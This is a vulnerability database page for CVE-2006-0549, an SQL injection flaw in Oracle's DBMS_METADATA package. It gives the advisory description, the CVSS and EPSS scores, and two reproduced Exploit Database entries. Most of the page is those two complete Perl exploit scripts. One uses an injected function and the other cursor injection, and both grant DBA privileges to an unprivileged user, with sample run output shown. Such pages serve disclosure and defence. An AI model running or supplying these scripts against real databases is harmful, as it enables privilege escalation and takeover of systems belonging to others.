CVE-2006-0549 Detail

CVE-2006-0549

EPSS

2.63%V3

Vector

Network

Published

2006-02-04
01h00 +00:00

Modified

2017-07-19
13h57 +00:00

Official links

CVE.org

NVD

Notifications for a CVE

Stay informed of any changes for a specific CVE.

Notifications manage

List of Notifications

Notifications for a CVE

Stay informed of any changes for a specific CVE.

Criteria applied when sending the alert: compared with the last alert sent + differences in CISA, EPSS, CVSS, CWE, Solutions, CPE.

Parameters

You can specify a title that will be retrieved in the alerts that will be sent out.

Specified here a CVE ID as CVE-2025-1234

Planning

Month

Next run calculation

Day

Weekday

Hour

Minute

Creation date

Last execution

Next execution

Functionality requiring a connection

This feature, which allows you to receive alerts, is only active when you are logged into your account.

CVE Descriptions

SQL injection vulnerability in the SYS.DBMS_METADATA_UTIL package in Oracle Database 10g, and possibly earlier versions, might allow remote attackers to execute arbitrary SQL commands via unknown vectors. NOTE: due to the lack of relevant details from the Oracle advisory, a separate CVE is being created since it cannot be conclusively proven that this issue has been addressed by Oracle. It is possible that this is the same issue as Oracle Vuln# DB05 from the January 2006 CPU, in which case this would be subsumed by CVE-2006-0260. However, there are some inconsistencies that make this unclear, and there is also a possibility that this is related to DB06, which is subsumed by CVE-2006-0259.

CVE Informations

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	7.5		AV:N/AC:L/Au:N/C:P/I:P/A:P	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 3363

Publication date : 2007-02-22 23h00 +00:00
Author : bunker
EDB Verified : Yes

#!/usr/bin/perl # # Remote Oracle DBMS_METADAT.GET_DDL exploit (9i/10g) # # Grant or revoke dba permission to unprivileged user # # Tested on "Oracle Database 10g Enterprise Edition Release 10.1.0.3.0" # # REF: https://www.securityfocus.com/bid/16287 # # AUTHOR: Andrea "bunker" Purificato # http://rawlab.mindcreations.com # # DATE: Copyright 2007 - Fri Feb 23 12:32:55 CET 2007 # # Oracle InstantClient (basic + sdk) required for DBD::Oracle # # # bunker@fin:~$ perl dbms_meta_get_ddl.pl -h localhost -s test -u bunker -p **** -r # [-] Wait... # [-] Revoking DBA from BUNKER... # DBD::Oracle::db do failed: ORA-01031: insufficient privileges (DBD ERROR: OCIStmtExecute) [for Statement "REVOKE DBA FROM BUNKER"] at dbms_meta_get_ddl.pl line 95. # [-] Done! # # bunker@fin:~$ perl dbms_meta_get_ddl.pl -h localhost -s test -u bunker -p **** -g # [-] Wait... # [-] Creating evil function... # [-] Go ...(don't worry about errors)! # DBD::Oracle::st execute failed: ORA-31600: invalid input value '||BUNKER.own||' for parameter OBJECT_TYPE in function GET_DDL # ORA-06512: at "SYS.DBMS_METADATA", line 2576 # ORA-06512: at "SYS.DBMS_METADATA", line 2627 # ORA-06512: at "SYS.DBMS_METADATA", line 4220 # ORA-06512: at line 5 (DBD ERROR: OCIStmtExecute) [for Statement " # DECLARE # R CLOB; # BEGIN # R := SYS.DBMS_METADATA.GET_DDL('''||BUNKER.own||''',''); # END; # "] at dbms_meta_get_ddl.pl line 120. # [-] YOU GOT THE POWAH!! # # bunker@fin:~$ perl dbms_meta_get_ddl.pl -h localhost -s test -u bunker -p **** -r # [-] Wait... # [-] Revoking DBA from BUNKER... # [-] Done! # use warnings; use strict; use DBI; use Getopt::Std; use vars qw/ %opt /; sub usage { print <<"USAGE"; Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>] Options: -h <host> target server address -s <sid> target sid name -u <user> user -p <passwd> password -g|-r (g)rant dba to user | (r)evoke dba from user [-P <port> Oracle port] USAGE exit 0 } my $opt_string = 'h:s:u:p:grP:'; getopts($opt_string, \%opt) or &usage; &usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} ); &usage if ( !$opt{g} and !$opt{r} ); my $user = uc $opt{u}; my $dbh = undef; if ($opt{P}) { $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die; } else { $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die; } my $sqlcmd = "GRANT DBA TO $user"; print "[-] Wait...\n"; if ($opt{r}) { print "[-] Revoking DBA from $user...\n"; $sqlcmd = "REVOKE DBA FROM $user"; $dbh->do( $sqlcmd ); print "[-] Done!\n"; $dbh->disconnect; exit; } print "[-] Creating evil function...\n"; $dbh->do( qq{ CREATE OR REPLACE FUNCTION OWN RETURN NUMBER AUTHID CURRENT_USER AS PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE '$sqlcmd'; COMMIT; RETURN(0); END; } ); print "[-] Go ...(don't worry about errors)!\n"; my $sth = $dbh->prepare(qq{ DECLARE R CLOB; BEGIN R := SYS.DBMS_METADATA.GET_DDL('''||$user.own||''',''); END; }); $sth->execute; $sth->finish; print "[-] YOU GOT THE POWAH!!\n"; $dbh->disconnect; exit; # milw0rm.com [2007-02-23]

Exploit Database EDB-ID : 3377

Publication date : 2007-02-25 23h00 +00:00
Author : bunker
EDB Verified : Yes

#!/usr/bin/perl # # Remote Oracle DBMS_METADATA.GET_DDL exploit (9i/10g) # - Version 2 - New "evil cursor injection" tip! # - No "create procedure" privileg needed! # - See: http://www.databasesecurity.com/ (Cursor Injection) # # Grant or revoke dba permission to unprivileged user # # Tested on "Oracle Database 10g Enterprise Edition Release 10.1.0.3.0" # # REF: https://www.securityfocus.com/bid/16287 # # AUTHOR: Andrea "bunker" Purificato # http://rawlab.mindcreations.com # # DATE: Copyright 2007 - Fri Feb 26 12:32:55 CET 2007 # # Oracle InstantClient (basic + sdk) required for DBD::Oracle # # bunker@fin:~$ perl dbms_meta_get_ddlV2.pl -h localhost -s test -u bunker -p **** -r # [-] Wait... # [-] Revoking DBA from BUNKER... # DBD::Oracle::db do failed: ORA-01031: insufficient privileges (DBD ERROR: OCIStmtExecute) [for Statement "REVOKE DBA FROM BUNKER"] at dbms_meta_get_ddlV2.pl line 69. # [-] Done! # # bunker@fin:~$ perl dbms_meta_get_ddlV2.pl -h localhost -s test -u bunker -p **** -g # [-] Wait... # [-] Creating evil cursor... # Cursor: 2 # [-] Go ...(don't worry about errors)! # DBD::Oracle::st execute failed: ORA-31600: invalid input value '||dbms_sql.execute(2)||' for parameter OBJECT_TYPE in function GET_DDL # ORA-06512: at "SYS.DBMS_METADATA", line 2576 # ORA-06512: at "SYS.DBMS_METADATA", line 2627 # ORA-06512: at "SYS.DBMS_METADATA", line 4220 # ORA-06512: at line 5 (DBD ERROR: OCIStmtExecute) [for Statement " # DECLARE # R CLOB; # BEGIN # R := SYS.DBMS_METADATA.GET_DDL('''||dbms_sql.execute(2)||''',''); # END; # "] at dbms_meta_get_ddlV2.pl line 101. # [-] YOU GOT THE POWAH!! # # bunker@fin:~$ perl dbms_meta_get_ddlV2.pl -h localhost -s test -u bunker -p **** -r # [-] Wait... # [-] Revoking DBA from BUNKER... # [-] Done! # use warnings; use strict; use DBI; use Getopt::Std; use vars qw/ %opt /; sub usage { print <<"USAGE"; Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>] Options: -h <host> target server address -s <sid> target sid name -u <user> user -p <passwd> password -g|-r (g)rant dba to user | (r)evoke dba from user [-P <port> Oracle port] USAGE exit 0 } my $opt_string = 'h:s:u:p:grP:'; getopts($opt_string, \%opt) or &usage; &usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} ); &usage if ( !$opt{g} and !$opt{r} ); my $user = uc $opt{u}; my $dbh = undef; if ($opt{P}) { $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die; } else { $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die; } my $sqlcmd = "GRANT DBA TO $user"; print "[-] Wait...\n"; $dbh->func( 1000000, 'dbms_output_enable' ); if ($opt{r}) { print "[-] Revoking DBA from $user...\n"; $sqlcmd = "REVOKE DBA FROM $user"; $dbh->do( $sqlcmd ); print "[-] Done!\n"; $dbh->disconnect; exit; } print "[-] Creating evil cursor...\n"; my $sth = $dbh->prepare(qq{ DECLARE MYC NUMBER; BEGIN MYC := DBMS_SQL.OPEN_CURSOR; DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction; begin execute immediate ''$sqlcmd'';commit;end;',0); DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC); END; } ); $sth->execute; my $cursor = undef; while (my $line = $dbh->func( 'dbms_output_get' )) { print "$line\n"; if ($line =~ /^Cursor: (\d)/) {$cursor = $1;} } $sth->finish; print "[-] Go ...(don't worry about errors)!\n"; $sth = $dbh->prepare(qq{ DECLARE R CLOB; BEGIN R := SYS.DBMS_METADATA.GET_DDL('''||dbms_sql.execute($cursor)||''',''); END; }); $sth->execute; $sth->finish; print "[-] YOU GOT THE POWAH!!\n"; $dbh->disconnect; exit; # milw0rm.com [2007-02-26]